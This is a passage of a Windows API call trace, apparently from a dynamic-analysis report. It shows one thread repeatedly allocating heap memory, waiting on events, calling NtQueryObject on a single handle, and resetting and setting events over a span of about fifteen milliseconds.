(HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.389] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.389] ResetEvent (hEvent=0xe8) returned 1 [0149.389] SetEvent (hEvent=0xec) returned 1 [0149.390] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.390] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.390] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.390] ResetEvent (hEvent=0xe8) returned 1 [0149.390] SetEvent (hEvent=0xec) returned 1 [0149.390] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.390] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.390] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.390] ResetEvent (hEvent=0xe8) returned 1 [0149.390] SetEvent (hEvent=0xec) returned 1 [0149.390] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.390] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.390] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.390] ResetEvent (hEvent=0xe8) returned 1 [0149.390] SetEvent (hEvent=0xec) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.391] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.391] ResetEvent (hEvent=0xe8) returned 1 [0149.391] SetEvent (hEvent=0xec) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.391] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.391] ResetEvent (hEvent=0xe8) returned 1 [0149.391] SetEvent (hEvent=0xec) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.391] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.391] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.391] ResetEvent (hEvent=0xe8) returned 1 [0149.391] SetEvent (hEvent=0xec) returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.392] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.392] ResetEvent (hEvent=0xe8) returned 1 [0149.392] SetEvent (hEvent=0xec) returned 1 [0149.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.392] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.392] ResetEvent (hEvent=0xe8) returned 1 [0149.392] SetEvent (hEvent=0xec) returned 1 [0149.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.392] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.392] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.392] ResetEvent (hEvent=0xe8) returned 1 [0149.392] SetEvent (hEvent=0xec) returned 1 [0149.392] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.393] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.393] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.393] ResetEvent (hEvent=0xe8) returned 1 [0149.393] SetEvent (hEvent=0xec) returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.393] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.393] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.393] ResetEvent (hEvent=0xe8) returned 1 [0149.393] SetEvent (hEvent=0xec) returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.393] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.393] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.393] ResetEvent (hEvent=0xe8) returned 1 [0149.393] SetEvent (hEvent=0xec) returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.393] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.394] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.394] ResetEvent (hEvent=0xe8) returned 1 [0149.394] SetEvent (hEvent=0xec) returned 1 [0149.395] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.395] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.395] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.396] ResetEvent (hEvent=0xe8) returned 1 [0149.396] SetEvent (hEvent=0xec) returned 1 [0149.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.396] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.396] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.396] ResetEvent (hEvent=0xe8) returned 1 [0149.396] SetEvent (hEvent=0xec) returned 1 [0149.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.396] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.396] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.396] ResetEvent (hEvent=0xe8) returned 1 [0149.396] SetEvent (hEvent=0xec) returned 1 [0149.396] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.396] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.396] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.397] ResetEvent (hEvent=0xe8) returned 1 [0149.397] SetEvent (hEvent=0xec) returned 1 [0149.397] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.397] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.397] ResetEvent (hEvent=0xe8) returned 1 [0149.397] SetEvent (hEvent=0xec) returned 1 [0149.397] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.397] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.397] ResetEvent (hEvent=0xe8) returned 1 [0149.397] SetEvent (hEvent=0xec) returned 1 [0149.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.398] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.398] ResetEvent (hEvent=0xe8) returned 1 [0149.398] SetEvent (hEvent=0xec) returned 1 [0149.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.398] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.398] ResetEvent (hEvent=0xe8) returned 1 [0149.398] SetEvent (hEvent=0xec) returned 1 [0149.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.398] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.398] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.398] ResetEvent (hEvent=0xe8) returned 1 [0149.398] SetEvent (hEvent=0xec) returned 1 [0149.398] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.399] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.399] ResetEvent (hEvent=0xe8) returned 1 [0149.399] SetEvent (hEvent=0xec) returned 1 [0149.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.399] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.399] ResetEvent (hEvent=0xe8) returned 1 [0149.399] SetEvent (hEvent=0xec) returned 1 [0149.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.399] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.399] ResetEvent (hEvent=0xe8) returned 1 [0149.399] SetEvent (hEvent=0xec) returned 1 [0149.399] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.400] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.400] ResetEvent (hEvent=0xe8) returned 1 [0149.400] SetEvent (hEvent=0xec) returned 1 [0149.400] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.400] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.400] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.400] ResetEvent (hEvent=0xe8) returned 1 [0149.400] SetEvent (hEvent=0xec) returned 1 [0149.400] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.400] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.400] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.400] ResetEvent (hEvent=0xe8) returned 1 [0149.400] SetEvent (hEvent=0xec) returned 1 [0149.400] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.400] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.400] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.401] ResetEvent (hEvent=0xe8) returned 1 [0149.401] SetEvent (hEvent=0xec) returned 1 [0149.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.401] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.401] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.401] ResetEvent (hEvent=0xe8) returned 1 [0149.401] SetEvent (hEvent=0xec) returned 1 [0149.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.401] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.401] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.401] ResetEvent (hEvent=0xe8) returned 1 [0149.401] SetEvent (hEvent=0xec) returned 1 [0149.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.401] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.401] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.401] ResetEvent (hEvent=0xe8) returned 1 [0149.401] SetEvent (hEvent=0xec) returned 1 [0149.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.402] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.402] ResetEvent (hEvent=0xe8) returned 1 [0149.402] SetEvent (hEvent=0xec) returned 1 [0149.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.402] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.402] ResetEvent (hEvent=0xe8) returned 1 [0149.402] SetEvent (hEvent=0xec) returned 1 [0149.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.402] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.402] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.402] ResetEvent (hEvent=0xe8) returned 1 [0149.402] SetEvent (hEvent=0xec) returned 1 [0149.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.403] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.403] ResetEvent (hEvent=0xe8) returned 1 [0149.403] SetEvent (hEvent=0xec) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.403] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.403] ResetEvent (hEvent=0xe8) returned 1 [0149.403] SetEvent (hEvent=0xec) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.403] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.403] ResetEvent (hEvent=0xe8) returned 1 [0149.403] SetEvent (hEvent=0xec) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.403] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.404] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.404] ResetEvent (hEvent=0xe8) returned 1 [0149.404] SetEvent (hEvent=0xec) returned 1 [0149.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.404] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.404] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.404] ResetEvent (hEvent=0xe8) returned 1 [0149.404] SetEvent (hEvent=0xec) returned 1 [0149.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.404] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.404] NtQueryObject (in: Handle=0x194, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, 